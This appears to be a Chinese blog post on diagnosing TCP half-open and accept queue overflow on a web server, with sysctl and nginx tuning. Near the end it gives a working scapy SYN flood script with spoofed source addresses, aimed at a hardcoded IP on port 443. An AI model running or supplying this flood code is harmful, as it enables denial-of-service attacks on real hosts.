TCP半连接队列和全连接队列的可能和出现问题和解决方案

描述

问题描述

监控系统发现电商网站主页及其它页面间歇性的无法访问;

查看安全防护和网络流量、应用系统负载均正常;

系统重启后,能够暂时解决,但持续一段时间后间歇性问题再次出现。

此时问题已影响到整个网站的正常业务,我那个心惊呀,最主要是报警系统没有任何报警,服务运行一切正常,瞬时背上的汗已经出来了。但还是要静心,来仔细寻找蛛丝马迹,来一步一步找问题。

问题初步判断

检查dev 和 网卡设备层,是否有error和drop ,分析在硬件和系统层是否异常 ----- 命令 cat /proc/net/dev 和 ifconfig

观察socket overflow  和 socket droped(如果应用处理全连接队列(accept queue)过慢 socket overflow,影响半连接队列(syn queue)溢出socket dropped)----- 命令 netstat -s |grep -i listen

TCP

发现SYN socket overflow  和 socket droped 急增加

检查sysctl内核参数:backlog ,somaxconn,file-max 和  应用程序的backlog ;

ss -lnt查询,SEND-Q会取上述参数的最小值

发现当时队列已经超过网站80端口和443端口默认值

检查 selinux 和 NetworkManager 是否启用 ,建议禁用;

检查timestap ,reuse 启用,内核recycle是否启用,如果过NAT,禁用recycle;

抓包判断请求进来后应用处理的情况,是否收到SYN未响应情况。

深入分析问题 

正常TCP建连接三次握手过程:

第一步:客户端 发送 syn 到 服务端发起握手;

第二步:服务端 收到 syn后回复syn+ack给 客户端;

第三步:客户端 收到syn+ack后,回复 服务端一个ack表示收到了 服务端的syn+ack 。

从描述的情况来看,TCP建连接的时候全连接队列(accept队列)满了,尤其是描述中症状为了证明是这个原因。反复看了几次之后发现这个overflowed 一直在增加,那么可以明确的是server上全连接队列一定溢出了。

接着查看溢出后,OS怎么处理:

# cat /proc/sys/net/ipv4/tcp_abort_on_overflow0

tcp_abort_on_overflow 为0表示如果三次握手第三步的时候全连接队列满了那么server扔掉client 发过来的ack(在server端认为连接还没建立起来)

为了证明客户端应用代码的异常跟全连接队列满有关系,我先把tcp_abort_on_overflow修改成 1,1表示第三步的时候如果全连接队列满了,server发送一个reset包给client,表示废掉这个握手过程和这个连接(本来在server端这个连接就还没建立起来)。

接着测试然后在web服务日志中异常中可以看到很多connection reset by peer的错误,到此证明客户端错误是这个原因导致的。

查看sysctl内核参数:backlog ,somaxconn,file-max 和  nginx的backlog配置参数,ss -ln取最小值,发现为128,此时resv-q已经在129 ,请求被丢弃。将上述参数修改,并进行优化:

linux内核参进行优化:net.ipv4.tcp_syncookies = 1net.ipv4.tcp_max_syn_backlog = 16384net.core.somaxconn = 16384

nginx 配置参数优化:backlog=32768;

利用python 多线程压测,并未发现新的问题:

import requests from bs4 import BeautifulSoupfrom concurrent.futures import ThreadPoolExecutorurl='https://www.wuage.com/'response=requests.get(url)soup=BeautifulSoup(response.text,'html.parser')with ThreadPoolExecutor(20) as ex:    for each_a_tag in soup.find_all('a'):        try:            ex.submit(requests.get,each_a_tag['href'])        except Exception as err:            print('return error msg:'+str(err))

理解TCP握手过程中建连接的流程和队列

TCP

如上图所示,这里有两个队列:syns queue(半连接队列);accept queue(全连接队列)

三次握手中,在第一步server收到client的syn后,把相关信息放到半连接队列中,同时回复syn+ack给client(第二步);

第三步的时候server收到client的ack,如果这时全连接队列没满,那么从半连接队列拿出相关信息放入到全连接队列中,否则按tcp_abort_on_overflow指示的执行。

这时如果全连接队列满了并且tcp_abort_on_overflow是0的话,server过一段时间再次发送syn+ack给client(也就是重新走握手的第二步),如果client超时等待比较短,就很容易异常了。

sYN Flood洪水攻击

当前最流行的DoS(拒绝服务攻击)与DDoS(分布式拒绝服务攻击)的方式之一,这是一种利用TCP协议缺陷,导致被攻击服务器保持大量SYN_RECV状态的“半连接”,并且会重试默认5次回应第二个握手包,塞满TCP等待连接队列,资源耗尽(CPU满负荷或内存不足),让正常的业务请求连接不进来。

from concurrent.futures import ThreadPoolExecutorfrom scapy.all import *def synFlood(tgt,dPort):    srcList = ['11.1.1.2','22.1.1.102','33.1.1.2',               '125.130.5.199']    for sPort in range(1024, 65535):        index = random.randrange(4)        ipLayer = IP(src=srcList[index], dst=tgt)        tcpLayer = TCP(sport=sPort, dport=dPort,flags='S')        packet = ipLayer/tcpLayer        send(packet)tgt = '139.196.251.198'print(tgt)dPort = 443with ThreadPoolExecutor(10000000) as ex:    try:        ex.submit(synFlood(tgt,dPort))    except Exception as err:        print('return error msg:' + str(err))

所以大家要对TCP半连接队列和全连接队列的问题很容易被忽视,但是又很关键,特别是对于一些短连接应用更容易爆发。

出现问题后,从网络流量、cpu、线程、负载来看都比较正常,在用户端来看rt比较高,但是从服务器端的日志看rt又很短。如何避免在出现问题时手忙脚乱,建立起应急机机制,后续有机会写一下应急方面的文章。

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